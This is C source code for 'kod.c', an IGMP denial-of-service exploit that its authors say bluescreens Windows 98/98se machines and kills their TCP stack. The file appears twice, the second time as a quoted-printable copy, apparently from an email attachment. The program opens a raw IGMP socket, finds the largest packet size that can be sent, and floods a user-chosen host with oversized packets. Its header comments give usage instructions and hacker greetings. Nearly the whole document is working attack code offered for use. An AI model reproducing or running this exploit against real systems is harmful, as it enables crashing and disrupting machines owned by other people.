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/*
::: [author] kod.c by klepto/defile kleptoat_private or klepto@EFnet /
defile@EFnet
::: [stuph ] bug found by klepto / total rewrite on *nix platform by defile
::: [notes ] bluescreens windows users(98/98se) and kills tcp stack
::: [m$ bug] windows handles igmp badly and this is the result
::: [greets]
amputee/nizda/nyt/ignitor/skyline/codelogic/ill`/conio/egotrip/TFreak/napste
r
::: [greets] dist(test monkey)/naz(you rule
period.)/#havok/#irc_addict/#kgb/#eof/everyone
::: [action] ./kod <host> and BEWM!
::: [rant ] there will be lots of rewrites to this.. just get our name
right!
de omnibus dubitandum
*/
/*
windows core dump output (*whee*)
An exception 0E has occurred at 0028:C14C9212 in VxD VIP(01) +
00006C72. This was called from 0028:C183FF54 in VcD PPPMAC(04) +
000079BR. It may be possible to continue normally(*not*).
*/
/*
there will be more bugs like this until bill "big moneybags" gates
puts more effort into making windows more stable instead of patching holes.
*/
#include <stdio.h>
#include <netdb.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
size_t hits = 5;
unsigned short port = 100;
void usage (char *progname)
{
printf("Usage: %s <host> -p port -t hits\n", progname);
exit(1);
}
void parse_args (int argc, char *argv[], char **target)
{
int y;
*target = argv[1];
if (argv[1][0] == '-') {
printf ("Must specify a target.\n");
exit (1);
}
for (y=2; y < argc; y++) {
if (!strcmp(argv[y], "-p")) {
y++;
port = atoi (argv[y]);
} else if (!strcmp(argv[y], "-t")) {
y++;
hits = atoi (argv[y]);
}
}
}
int main (int argc, char *argv[])
{
struct sockaddr_in sin;
struct hostent *he;
size_t maxpkt = 15000;
char *target;
char buf[15000];
int sd;
if (argc < 2)
usage (argv[0]);
parse_args (argc, argv, &target);
if ((he = gethostbyname (target)) == NULL) {
herror (target);
exit (1);
}
memcpy (&sin.sin_addr.s_addr, he->h_addr, he->h_length);
sin.sin_family = AF_INET;
sin.sin_port = htons (port);
if ((sd = socket (AF_INET, SOCK_RAW, 2)) == -1) {
perror ("error: socket()");
exit (1);
}
if (-1 == connect (sd, (struct sockaddr *)&sin, sizeof (sin))) {
perror ("error: connect()");
close (sd);
exit (1);
}
puts ("Determining max MSGSIZE");
while (send (sd, buf, maxpkt, 0) == -1) {
if (EMSGSIZE != errno) {
perror ("error: send()");
close (sd);
exit (1);
}
maxpkt -= 1;
}
hits--;
printf ("Max MSGSIZE is %d\n..%d bytes [%s:%d]..\n", maxpkt,
maxpkt, target, port);
while (hits--) {
usleep (50000);
if (send (sd, buf, maxpkt, 0) == -1) {
perror ("error: send()");
close (sd);
exit (1);
}
printf ("..%d bytes [%s:%d]..\n", maxpkt, target, port);
}
sleep (1);
close (sd);
puts ("complete.");
exit (0);
}
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filename="kod.c"
/*
::: [author] kod.c by klepto/defile kleptoat_private / =
defile@EFnet
::: [stuph ] bug found by klepto / total rewrite on *nix platform by =
defile
::: [notes ] bluescreens windows users(98/98se) and kills tcp stack
::: [m$ bug] windows handles igmp badly and this is the result
::: [greets] =
amputee/nizda/nyt/ignitor/skyline/codelogic/ill`/conio/egotrip/TFreak/nap=
ster
::: [greets] dist(test monkey)/naz(you rule =
period.)/#havok/#irc_addict/#kgb/#eof/everyone
::: [action] ./kod <host> and BEWM!
::: [rant ] there will be lots of rewrites to this.. just get our name =
right!
de omnibus dubitandum
*/
/*=20
windows core dump output (*whee*)
An exception 0E has occurred at 0028:C14C9212 in VxD VIP(01) +
00006C72. This was called from 0028:C183FF54 in VcD PPPMAC(04) +
000079BR. It may be possible to continue normally(*not*).
*/
/*
there will be more bugs like this until bill "big moneybags" gates
puts more effort into making windows more stable instead of patching =
holes.
*/
#include <stdio.h>
#include <netdb.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
size_t hits =3D 5;
unsigned short port =3D 100;
void usage (char *progname)
{
printf("Usage: %s <host> -p port -t hits\n", progname);
exit(1);
}
void parse_args (int argc, char *argv[], char **target)
{
int y;
*target =3D argv[1];
=09
if (argv[1][0] =3D=3D '-') {
printf ("Must specify a target.\n");
exit (1);
}
for (y=3D2; y < argc; y++) {
if (!strcmp(argv[y], "-p")) {
y++;
port =3D atoi (argv[y]);
} else if (!strcmp(argv[y], "-t")) {
y++;
hits =3D atoi (argv[y]);
}
}=09
}
int main (int argc, char *argv[])
{
struct sockaddr_in sin;
struct hostent *he;
size_t maxpkt =3D 15000;
char *target;
char buf[15000];
int sd;
=09
if (argc < 2)=20
usage (argv[0]);
parse_args (argc, argv, &target);
if ((he =3D gethostbyname (target)) =3D=3D NULL) {
herror (target);
exit (1);
}
memcpy (&sin.sin_addr.s_addr, he->h_addr, he->h_length);
=09
sin.sin_family =3D AF_INET;
sin.sin_port =3D htons (port);
=09
if ((sd =3D socket (AF_INET, SOCK_RAW, 2)) =3D=3D -1) {
perror ("error: socket()");
exit (1);
}
if (-1 =3D=3D connect (sd, (struct sockaddr *)&sin, sizeof (sin))) {
perror ("error: connect()");
close (sd);
exit (1);
}
puts ("Determining max MSGSIZE");
while (send (sd, buf, maxpkt, 0) =3D=3D -1) {
if (EMSGSIZE !=3D errno) {
perror ("error: send()");
close (sd);
exit (1);
}
maxpkt -=3D 1;
}
hits--;
printf ("Max MSGSIZE is %d\n..%d bytes [%s:%d]..\n", maxpkt,
maxpkt, target, port);
while (hits--) {
usleep (50000);
if (send (sd, buf, maxpkt, 0) =3D=3D -1) {
perror ("error: send()");
close (sd);
exit (1);
}
printf ("..%d bytes [%s:%d]..\n", maxpkt, target, port);
}
sleep (1);
close (sd);
puts ("complete.");
=09
exit (0);
}
=09
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